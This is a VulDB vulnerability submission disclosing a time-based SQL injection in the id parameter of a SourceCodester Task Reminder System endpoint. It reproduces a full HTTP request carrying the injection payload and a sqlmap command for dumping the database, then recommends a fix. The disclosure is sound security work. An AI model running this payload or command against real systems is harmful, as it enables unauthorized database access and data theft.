Soumettre #228610: SourceCodester Task Management System sql injection in Master.php

I find a SQL injection vulnerability in the SourceCodester Task Management System(https://www.sourcecodester.com/php/16451/task-reminder-system-php-and-mysql-source-code-free-download.html)

This affect the file /php-trs/classes/Master.php?f=delete_reminder:

POST /php-trs/classes/Master.php?f=delete_reminder HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/php-trs/admin/?page=reminders/manage_reminder&id=6
Cookie: ajs_anonymous_id=b6bc95f0-ab68-41ad-85fc-5a73232f365a; ajs_user_id=048546bfc1e19205a55a5993547bc9308acf5a9c; PHPSESSID=v50trgss5tkq84rfr78hjj7g1h
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

user_id=1&title=1&description=1&remind_from=0011-01-01&remind_to=0222-01-01&status=1&id=1'and sleep(4)#

Then you will feel that the server's response time has obviously become longer, and this proves that our sql statement was successfully executed.

Then you can save the request package as 1.txt, and then use sqlmap to inject it. The command is "sqlmap -r 1.txt --data="id=1", and then you can successfully drag the library

The vulnerability arises from the usage of the code "UPDATE `reminder_list` set {$data} where id = '{$id}'" without implementing sufficient filtering on the controllable parameter id. This lack of proper filtering exposes the potential for SQL injection attacks. To address this issue, my recommendation is to protect the id parameter against malicious exploitation by utilizing mysqli_real_escape_string().

• La source: ⚠️ https://www.sourcecodester.com/php/16451/task-reminder-system-php-and-mysql-source-code-free-download.html
• Utilisateur: fushuling (UID 45488)
• Soumission: 26/10/2023 19:01 (il y a 3 ans)
• Modérer: 26/10/2023 20:21 (1 hour later)
• Statut: Accepté
• Entrée VulDB: 243644 [SourceCodester Task Reminder System 1.0 Master.php?f=delete_reminder ID injection SQL]
• Points: 20